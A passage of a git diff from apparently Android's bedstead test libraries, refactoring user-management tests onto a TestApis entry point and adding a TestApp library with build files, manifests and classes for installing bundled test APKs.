-        User user = new User(mUsers, mutableUser);
+        User user = new User(mTestApis.users(), mutableUser);
 
         assertThat(user.hasProfileOwner()).isTrue();
     }
@@ -116,7 +118,7 @@
     @Test
     public void hasProfileOwner_notSet_returnsNull() {
         User.MutableUser mutableUser = createValidMutableUser();
-        User user = new User(mUsers, mutableUser);
+        User user = new User(mTestApis.users(), mutableUser);
 
         assertThat(user.hasProfileOwner()).isNull();
     }
@@ -125,7 +127,7 @@
     public void isPrimary_returnsIsPrimary() {
         User.MutableUser mutableUser = createValidMutableUser();
         mutableUser.mIsPrimary = true;
-        User user = new User(mUsers, mutableUser);
+        User user = new User(mTestApis.users(), mutableUser);
 
         assertThat(user.isPrimary()).isTrue();
     }
@@ -133,14 +135,14 @@
     @Test
     public void isPrimary_notSet_returnsNull() {
         User.MutableUser mutableUser = createValidMutableUser();
-        User user = new User(mUsers, mutableUser);
+        User user = new User(mTestApis.users(), mutableUser);
 
         assertThat(user.isPrimary()).isNull();
     }
 
     @Test
     public void state_userNotStarted_returnsState() {
-        UserReference user = createUser();
+        UserReference user = mTestApis.users().createUser().create();
         user.stop();
 
         try {
@@ -153,8 +155,7 @@
     @Test
     @Ignore("TODO: Ensure we can enter the user locked state")
     public void state_userLocked_returnsState() {
-        UserReference user = createUser();
-        user.start();
+        UserReference user = mTestApis.users().createUser().createAndStart();
 
         try {
             assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_LOCKED);
@@ -165,8 +166,7 @@
 
     @Test
     public void state_userUnlocked_returnsState() {
-        UserReference user = createUser();
-        user.start();
+        UserReference user = mTestApis.users().createUser().createAndStart();
 
         try {
             assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_UNLOCKED);
@@ -175,13 +175,19 @@
         }
     }
 
+    @Test
+    public void parent_returnsParent() {
+        UserReference parentUser = new User(mTestApis.users(), createValidMutableUser());
+        User.MutableUser mutableUser = createValidMutableUser();
+        mutableUser.mParent = parentUser;
+        User user = new User(mTestApis.users(), mutableUser);
+
+        assertThat(user.parent()).isEqualTo(parentUser);
+    }
+
     private User.MutableUser createValidMutableUser() {
         User.MutableUser mutableUser = new User.MutableUser();
         mutableUser.mId = 1;
         return mutableUser;
     }
-
-    private UserReference createUser() {
-        return mUsers.createUser().name(USER_NAME).create();
-    }
 }
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
index a47095f..f5e2dbd 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
@@ -18,15 +18,20 @@
 
 import static android.os.Build.VERSION.SDK_INT;
 
+import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
+import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
+import static com.android.bedstead.nene.users.UserType.SYSTEM_USER_TYPE_NAME;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assume.assumeTrue;
+import static org.testng.Assert.assertThrows;
 
 import android.os.Build;
 import android.os.UserHandle;
 
-import com.android.bedstead.nene.exceptions.AdbException;
-import com.android.bedstead.nene.utils.ShellCommandUtils;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -35,31 +40,25 @@
 @RunWith(JUnit4.class)
 public class UsersTest {
 
-    private static final String SYSTEM_USER_TYPE = "android.os.usertype.full.SYSTEM";
     private static final int MAX_SYSTEM_USERS = UserType.UNLIMITED;
     private static final int MAX_SYSTEM_USERS_PER_PARENT = UserType.UNLIMITED;
-    private static final String MANAGED_PROFILE_TYPE = "android.os.usertype.profile.MANAGED";
-    private static final String RESTRICTED_USER_TYPE = "android.os.usertype.full.RESTRICTED";
+    private static final String INVALID_TYPE_NAME = "invalidTypeName";
     private static final int MAX_MANAGED_PROFILES = UserType.UNLIMITED;
     private static final int MAX_MANAGED_PROFILES_PER_PARENT = 1;
     private static final int NON_EXISTING_USER_ID = 10000;
     private static final int USER_ID = NON_EXISTING_USER_ID;
     private static final String USER_NAME = "userName";
 
-    private final Users mUsers = new Users();
+    private final TestApis mTestApis = new TestApis();
 
     // We don't want to test the exact list of any specific device, so we check that it returns
     // some known types which will exist on the emulators (used for presubmit tests).
 
     @Test
     public void supportedTypes_containsManagedProfile() {
-        assumeTrue(
-                "supportedTypes is only supported on Android 11+",
-                SDK_INT >= Build.VERSION_CODES.R);
-
         UserType managedProfileUserType =
-                mUsers.supportedTypes().stream().filter(
-                        (ut) -> ut.name().equals(MANAGED_PROFILE_TYPE)).findFirst().get();
+                mTestApis.users().supportedTypes().stream().filter(
+                        (ut) -> ut.name().equals(MANAGED_PROFILE_TYPE_NAME)).findFirst().get();
 
         assertThat(managedProfileUserType.baseType()).containsExactly(UserType.BaseType.PROFILE);
         assertThat(managedProfileUserType.enabled()).isTrue();
@@ -70,13 +69,9 @@
 
     @Test
     public void supportedTypes_containsSystemUser() {
-        assumeTrue(
-                "supportedTypes is only supported on Android 11+",
-                SDK_INT >= Build.VERSION_CODES.R);
-
         UserType systemUserType =
-                mUsers.supportedTypes().stream().filter(
-                        (ut) -> ut.name().equals(SYSTEM_USER_TYPE)).findFirst().get();
+                mTestApis.users().supportedTypes().stream().filter(
+                        (ut) -> ut.name().equals(SYSTEM_USER_TYPE_NAME)).findFirst().get();
 
         assertThat(systemUserType.baseType()).containsExactly(
                 UserType.BaseType.SYSTEM, UserType.BaseType.FULL);
@@ -86,19 +81,9 @@
     }
 
     @Test
-    public void supportedTypes_androidVersionLessThan11_returnsNull() {
-        assumeTrue("supportedTypes is supported on Android 11+", SDK_INT < Build.VERSION_CODES.R);
-
-        assertThat(mUsers.supportedTypes()).isNull();
-    }
-
-    @Test
     public void supportedType_validType_returnsType() {
-        assumeTrue(
-                "supportedTypes is only supported on Android 11+",
-                SDK_INT >= Build.VERSION_CODES.R);
-
-        UserType managedProfileUserType = mUsers.supportedType(MANAGED_PROFILE_TYPE);
+        UserType managedProfileUserType =
+                mTestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME);
 
         assertThat(managedProfileUserType.baseType()).containsExactly(UserType.BaseType.PROFILE);
         assertThat(managedProfileUserType.enabled()).isTrue();
@@ -108,101 +93,92 @@
     }
 
     @Test
-    public void supportedType_invalidType_androidVersionLessThan11_returnsNull() {
-        assumeTrue("supportedTypes is supported on Android 11+", SDK_INT < Build.VERSION_CODES.R);
-
-        assertThat(mUsers.supportedType(MANAGED_PROFILE_TYPE)).isNull();
+    public void supportedType_invalidType_returnsNull() {
+        assertThat(mTestApis.users().supportedType(INVALID_TYPE_NAME)).isNull();
     }
 
     @Test
-    public void supportedType_validType_androidVersionLessThan11_returnsNull() {
-        assumeTrue("supportedTypes is supported on Android 11+", SDK_INT < Build.VERSION_CODES.R);
-
-        assertThat(mUsers.supportedType(MANAGED_PROFILE_TYPE)).isNull();
-    }
-
-    @Test
-    public void all_containsCreatedUser() throws Exception {
-        int userId = createUser();
+    public void all_containsCreatedUser() {
+        UserReference user = mTestApis.users().createUser().create();
 
         try {
-            User foundUser = mUsers.all().stream().filter(
-                    u -> u.id() == userId).findFirst().get();
-
-            assertThat(foundUser).isNotNull();
+            assertThat(mTestApis.users().all()).contains(user);
         } finally {
-            removeUser(userId);
+            user.remove();
         }
     }
 
     @Test
-    public void all_userAddedSinceLastCallToUsers_containsNewUser() throws Exception {
-        int userId = createUser();
-        mUsers.all();
-        int userId2 = createUser();
+    public void all_userAddedSinceLastCallToUsers_containsNewUser() {
+        UserReference user = mTestApis.users().createUser().create();
+        mTestApis.users().all();
+        UserReference user2 = mTestApis.users().createUser().create();
 
         try {
-            User foundUser = mUsers.all().stream().filter(
-                    u -> u.id() == userId).findFirst().get();
-
-            assertThat(foundUser).isNotNull();
+            assertThat(mTestApis.users().all()).contains(user2);
         } finally {
-            removeUser(userId);
-            removeUser(userId2);
+            user.remove();
+            user2.remove();
         }
     }
 
     @Test
-    public void all_userRemovedSinceLastCallToUsers_doesNotContainRemovedUser() throws Exception {
-        int userId = createUser();
-        mUsers.all();
-        removeUser(userId);
+    public void all_userRemovedSinceLastCallToUsers_doesNotContainRemovedUser() {
+        UserReference user = mTestApis.users().createUser().create();
+        mTestApis.users().all();
+        user.remove();
 
-        assertThat(mUsers.all().stream().anyMatch(u -> u.id() == userId)).isFalse();
+        assertThat(mTestApis.users().all()).doesNotContain(user);
     }
 
     @Test
-    public void find_userExists_returnsUserReference() throws Exception {
-        int userId = createUser();
+    public void find_userExists_returnsUserReference() {
+        UserReference user = mTestApis.users().createUser().create();
         try {
-            assertThat(mUsers.find(userId)).isNotNull();
+            assertThat(mTestApis.users().find(user.id())).isEqualTo(user);
         } finally {
-            removeUser(userId);
+            user.remove();
         }
     }
 
     @Test
     public void find_userDoesNotExist_returnsUserReference() {
-        assertThat(mUsers.find(NON_EXISTING_USER_ID)).isNotNull();
+        assertThat(mTestApis.users().find(NON_EXISTING_USER_ID)).isNotNull();
     }
 
     @Test
     public void find_fromUserHandle_referencesCorrectId() {
-        assertThat(mUsers.find(UserHandle.of(USER_ID)).id()).isEqualTo(USER_ID);
+        assertThat(mTestApis.users().find(UserHandle.of(USER_ID)).id()).isEqualTo(USER_ID);
     }
 
     @Test
     public void find_constructedReferenceReferencesCorrectId() {
-        assertThat(mUsers.find(USER_ID).id()).isEqualTo(USER_ID);
+        assertThat(mTestApis.users().find(USER_ID).id()).isEqualTo(USER_ID);
+    }
+
+    @Test
+    public void createUser_additionalSystemUser_throwsException()  {
+        assertThrows(NeneException.class, () ->
+                mTestApis.users().createUser()
+                        .type(mTestApis.users().supportedType(SYSTEM_USER_TYPE_NAME))
+                        .create());
     }
 
     @Test
     public void createUser_userIsCreated()  {
-        UserReference userReference = mUsers.createUser()
-                .create();
+        UserReference user = mTestApis.users().createUser().create();
 
         try {
-            assertThat(
-                    mUsers.all().stream().anyMatch((u -> u.id() == userReference.id()))).isTrue();
+            assertThat(mTestApis.users().all()).contains(user);
         } finally {
-            userReference.remove();
+            user.remove();
         }
     }
 
     @Test
     public void createUser_createdUserHasCorrectName() {
-        UserReference userReference = mUsers.createUser()
-                .name(USER_NAME) // required
+        UserReference userReference = mTestApis.users().createUser()
+                .name(USER_NAME)
                 .create();
 
         try {
@@ -214,10 +190,8 @@
 
     @Test
     public void createUser_createdUserHasCorrectTypeName() {
-        assumeTrue("types are supported on Android 11+", SDK_INT < Build.VERSION_CODES.R);
-
-        UserType type = mUsers.supportedType(RESTRICTED_USER_TYPE);
-        UserReference userReference = mUsers.createUser()
+        UserType type = mTestApis.users().supportedType(SECONDARY_USER_TYPE_NAME);
+        UserReference userReference = mTestApis.users().createUser()
                 .type(type)
                 .create();
 
@@ -229,11 +203,102 @@
     }
 
     @Test
+    public void createUser_specifiesNullUserType_throwsException() {
+        UserBuilder userBuilder = mTestApis.users().createUser();
+
+        assertThrows(NullPointerException.class, () -> userBuilder.type(null));
+    }
+
+    @Test
+    public void createUser_specifiesSystemUserType_throwsException() {
+        UserType type = mTestApis.users().supportedType(SYSTEM_USER_TYPE_NAME);
+        UserBuilder userBuilder = mTestApis.users().createUser()
+                .type(type);
+
+        assertThrows(NeneException.class, userBuilder::create);
+    }
+
+    @Test
+    public void createUser_specifiesSecondaryUserType_createsUser() {
+        UserType type = mTestApis.users().supportedType(SECONDARY_USER_TYPE_NAME);
+        UserReference user = mTestApis.users().createUser().type(type).create();
+
+        try {
+            assertThat(user.resolve()).isNotNull();
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void createUser_specifiesManagedProfileUserType_createsUser() {
+        UserReference systemUser = mTestApis.users().system();
+        UserType type = mTestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME);
+        UserReference user = mTestApis.users().createUser().type(type).parent(systemUser).create();
+
+        try {
+            assertThat(user.resolve()).isNotNull();
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void createUser_createsProfile_parentIsSet() {
+        UserReference systemUser = mTestApis.users().system();
+        UserType type = mTestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME);
+        UserReference user = mTestApis.users().createUser().type(type).parent(systemUser).create();
+
+        try {
+            assertThat(user.resolve().parent()).isEqualTo(mTestApis.users().system());
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void createUser_specifiesParentOnNonProfileType_throwsException() {
+        UserReference systemUser = mTestApis.users().system();
+        UserType type = mTestApis.users().supportedType(SECONDARY_USER_TYPE_NAME);
+        UserBuilder userBuilder = mTestApis.users().createUser().type(type).parent(systemUser);
+
+        assertThrows(NeneException.class, userBuilder::create);
+    }
+
+    @Test
+    public void createUser_specifiesProfileTypeWithoutParent_throwsException() {
+        UserType type = mTestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME);
+        UserBuilder userBuilder = mTestApis.users().createUser()
+                .type(type);
+
+        assertThrows(NeneException.class, userBuilder::create);
+    }
+
+    @Test
+    public void createUser_androidLessThanS_createsManagedProfileNotOnSystemUser_throwsException() {
+        assumeTrue("After Android S, managed profiles may be a profile of a non-system user",
+                SDK_INT < Build.VERSION_CODES.S);
+
+        UserReference nonSystemUser = mTestApis.users().createUser().create();
+
+        try {
+            UserType type = mTestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME);
+            UserBuilder userBuilder = mTestApis.users().createUser()
+                    .type(type)
+                    .parent(nonSystemUser);
+
+            assertThrows(NeneException.class, userBuilder::create);
+        } finally {
+            nonSystemUser.remove();
+        }
+    }
+
+    @Test
     public void createAndStart_isStarted() {
         User user = null;
 
         try {
-            user = mUsers.createUser().name(USER_NAME).createAndStart().resolve();
+            user = mTestApis.users().createUser().name(USER_NAME).createAndStart().resolve();
             assertThat(user.state()).isEqualTo(User.UserState.RUNNING_UNLOCKED);
         } finally {
             if (user != null) {
@@ -244,28 +309,12 @@
 
     @Test
     public void system_hasId0() {
-        assertThat(mUsers.system().id()).isEqualTo(0);
+        assertThat(mTestApis.users().system().id()).isEqualTo(0);
     }
 
-    private int createUser() {
-        // We do ADB calls directly to ensure we are actually changing the system state and not just
-        //  internal nene state
-        try {
-            String createUserOutput = ShellCommandUtils.executeCommand("pm create-user testuser");
-            return Integer.parseInt(createUserOutput.split("id ")[1].trim());
-        } catch (AdbException e) {
-            throw new AssertionError("Error creating user", e);
-        }
-    }
-
-    private void removeUser(int userId) throws InterruptedException {
-        // We do ADB calls directly to ensure we are actually changing the system state and not just
-        //  internal nene state
-        try {
-            ShellCommandUtils.executeCommand("pm remove-user " + userId);
-            ShellCommandUtils.executeCommandUntilOutputValid("dumpsys user", (output) -> !output.contains("UserInfo{" + userId + ":"));
-        } catch (AdbException e) {
-            throw new AssertionError("Error removing user", e);
-        }
+    @Test
+    public void instrumented_hasCurrentProccessId() {
+        assertThat(mTestApis.users().instrumented().id())
+                .isEqualTo(android.os.Process.myUserHandle().getIdentifier());
     }
 }
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/ShellCommandTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/ShellCommandTest.java
index a87c22d..226961e 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/ShellCommandTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/ShellCommandTest.java
@@ -140,10 +140,11 @@
     }
 
     @Test
-    public void executeAndValidateOutput_outputFilterMatched_returnsOutput() throws Exception {
+    public void execute_validate_outputFilterMatched_returnsOutput() throws Exception {
         assertThat(
-                ShellCommand.builder(LIST_USERS_COMMAND).
-                        executeAndValidateOutput(ALWAYS_PASS_OUTPUT_FILTER))
+                ShellCommand.builder(LIST_USERS_COMMAND)
+                        .validate(ALWAYS_PASS_OUTPUT_FILTER)
+                        .execute())
                 .isNotNull();
     }
 
@@ -151,7 +152,8 @@
     public void executeAndValidateOutput_outputFilterNotMatched_throwsException() {
         assertThrows(AdbException.class,
                 () -> ShellCommand.builder(LIST_USERS_COMMAND)
-                        .executeAndValidateOutput(ALWAYS_FAIL_OUTPUT_FILTER));
+                        .validate(ALWAYS_FAIL_OUTPUT_FILTER)
+                        .execute());
     }
 
     @Test
@@ -178,4 +180,19 @@
                 .execute())
                 .contains(LIST_USERS_EXPECTED_OUTPUT);
     }
+
+    @Test
+    public void executeAndParse_parseSucceeds_returnsCorrectValue() throws Exception {
+        assertThat((Integer) ShellCommand.builder(LIST_USERS_COMMAND)
+                .executeAndParseOutput((output) -> 3)).isEqualTo(3);
+    }
+
+    @Test
+    public void executeAndParse_parseFails_throwsException() {
+        assertThrows(AdbException.class, () ->
+                ShellCommand.builder(LIST_USERS_COMMAND)
+                .executeAndParseOutput((output) -> {
+                    throw new IllegalStateException();
+                }));
+    }
 }
diff --git a/common/device-side/bedstead/nene/testapps/TestApp1.xml b/common/device-side/bedstead/nene/testapps/TestApp1.xml
index 5772b0d..dcf8a60 100644
--- a/common/device-side/bedstead/nene/testapps/TestApp1.xml
+++ b/common/device-side/bedstead/nene/testapps/TestApp1.xml
@@ -21,5 +21,5 @@
     <application
         android:appComponentFactory="com.android.eventlib.premade.EventLibAppComponentFactory">
     </application>
-    <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26"/>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
 </manifest>
diff --git a/common/device-side/bedstead/testapp/Android.bp b/common/device-side/bedstead/testapp/Android.bp
new file mode 100644
index 0000000..4c23a2d
--- /dev/null
+++ b/common/device-side/bedstead/testapp/Android.bp
@@ -0,0 +1,71 @@
+android_library {
+    name: "TestApp",
+    sdk_version: "test_current",
+    srcs: [
+        "src/main/java/**/*.java"
+    ],
+    static_libs: [
+        "Nene",
+    ],
+    manifest: "src/main/AndroidManifest.xml",
+    min_sdk_version: "27",
+    resource_zips: [":TestApp_Apps"],
+}
+
+android_test {
+    name: "TestAppTest",
+    srcs: [
+        "src/test/java/**/*.java"
+    ],
+    test_suites: [
+        "general-tests",
+    ],
+    static_libs: [
+        "Nene",
+        "TestApp",
+        "androidx.test.ext.junit",
+        "truth-prebuilt",
+        "testng" // for assertThrows
+    ],
+    manifest: "src/test/AndroidManifest.xml",
+    min_sdk_version: "27"
+}
+
+python_binary_host {
+    name: "index_testapps",
+    defaults: ["base_default"],
+    main: "tools/index/index_testapps.py",
+    srcs: [
+        "tools/index/index_testapps.py",
+    ]
+}
+
+java_genrule {
+    name: "TestApp_Apps",
+    srcs: [":EmptyTestApp", ":EmptyTestApp2"],
+    out: ["TestApp_Apps.res.zip"],
+    tools: ["soong_zip", "index_testapps"],
+    cmd: "mkdir -p $(genDir)/res/raw"
+         + " && cp $(location :EmptyTestApp) $(genDir)/res/raw"
+         + " && cp $(location :EmptyTestApp2) $(genDir)/res/raw"
+         + " && $(location index_testapps) --directory $(genDir)/res/raw"
+         + " && $(location soong_zip) -o $(out) -C $(genDir)/res -D $(genDir)/res/raw"
+}
+
+android_test_helper_app {
+    name: "EmptyTestApp",
+    static_libs: [
+        "EventLib"
+    ],
+    manifest: "manifests/EmptyTestAppManifest.xml",
+    min_sdk_version: "27"
+}
+
+android_test_helper_app {
+    name: "EmptyTestApp2",
+    static_libs: [
+        "EventLib"
+    ],
+    manifest: "manifests/EmptyTestApp2Manifest.xml",
+    min_sdk_version: "27"
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/testapp/AndroidTest.xml b/common/device-side/bedstead/testapp/AndroidTest.xml
new file mode 100644
index 0000000..6ef4fe3
--- /dev/null
+++ b/common/device-side/bedstead/testapp/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for Testapp test cases">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="TestAppTest.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.bedstead.testapp.test" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/common/device-side/bedstead/testapp/manifests/EmptyTestApp2Manifest.xml b/common/device-side/bedstead/testapp/manifests/EmptyTestApp2Manifest.xml
new file mode 100644
index 0000000..e96e221
--- /dev/null
+++ b/common/device-side/bedstead/testapp/manifests/EmptyTestApp2Manifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.EmptyTestApp2">
+    <application
+        android:appComponentFactory="com.android.eventlib.premade.EventLibAppComponentFactory">
+    </application>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
+</manifest>
diff --git a/common/device-side/bedstead/testapp/manifests/EmptyTestAppManifest.xml b/common/device-side/bedstead/testapp/manifests/EmptyTestAppManifest.xml
new file mode 100644
index 0000000..1f07ddb
--- /dev/null
+++ b/common/device-side/bedstead/testapp/manifests/EmptyTestAppManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.EmptyTestApp">
+    <application
+        android:appComponentFactory="com.android.eventlib.premade.EventLibAppComponentFactory">
+    </application>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
+</manifest>
diff --git a/common/device-side/bedstead/testapp/src/main/AndroidManifest.xml b/common/device-side/bedstead/testapp/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..54be508
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/main/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.testapp">
+    <uses-sdk android:minSdkVersion="27" />
+    <application>
+    </application>
+</manifest>
diff --git a/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/NotFoundException.java b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/NotFoundException.java
new file mode 100644
index 0000000..669bb13
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/NotFoundException.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+/** {@link Exception} thrown when a query doesn't match any test apps. */
+public class NotFoundException extends RuntimeException {
+    public NotFoundException(TestAppQueryBuilder query) {
+
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestApp.java b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestApp.java
new file mode 100644
index 0000000..347df2c
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestApp.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import static com.android.compatibility.common.util.FileUtils.readInputStreamFully;
+
+import android.content.Context;
+import android.os.UserHandle;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.packages.Package;
+import com.android.bedstead.nene.packages.PackageReference;
+import com.android.bedstead.nene.users.UserReference;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+/** Represents a single test app which can be installed and interacted with. */
+public class TestApp {
+
+    private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
+
+    private final TestApis mTestApis = new TestApis();
+    private final TestAppDetails mDetails;
+
+    TestApp(TestAppDetails details) {
+        if (details == null) {
+            throw new NullPointerException();
+        }
+        mDetails = details;
+    }
+
+    /**
+     * Get a {@link PackageReference} for the {@link TestApp}.
+     *
+     * <p>This will only be resolvable after the app is installed.
+     */
+    public PackageReference reference() {
+        return mTestApis.packages().find(packageName());
+    }
+
+    /**
+     * Get a {@link Package} for the {@link TestApp}, or {@code null} if it is not installed.
+     */
+    public Package resolve() {
+        return reference().resolve();
+    }
+
+    /**
+     * Install the {@link TestApp} on the device for the given {@link UserReference}.
+     */
+    public void install(UserReference user) {
+        mTestApis.packages().install(user, apkBytes());
+    }
+
+    /**
+     * Install the {@link TestApp} on the device for the given {@link UserHandle}.
+     */
+    public void install(UserHandle user) {
+        install(mTestApis.users().find(user));
+    }
+
+    private byte[] apkBytes() {
+        try (InputStream inputStream =
+                     mContext.getResources().openRawResource(mDetails.mResourceIdentifier)) {
+            return readInputStreamFully(inputStream);
+        } catch (IOException e) {
+            throw new NeneException("Error when reading TestApp bytes", e);
+        }
+    }
+
+    /** Write the APK file to the given {@link File}. */
+    public void writeApkFile(File outputFile) throws IOException {
+        try (FileOutputStream output = new FileOutputStream(outputFile)) {
+            output.write(apkBytes());
+        }
+    }
+
+    /** The package name of the test app. */
+    public String packageName() {
+        return mDetails.mPackageName;
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppDetails.java b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppDetails.java
new file mode 100644
index 0000000..51f7547
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppDetails.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+class TestAppDetails {
+    String mPackageName;
+    int mResourceIdentifier;
+}
diff --git a/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppProvider.java b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppProvider.java
new file mode 100644
index 0000000..c4cab63
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppProvider.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
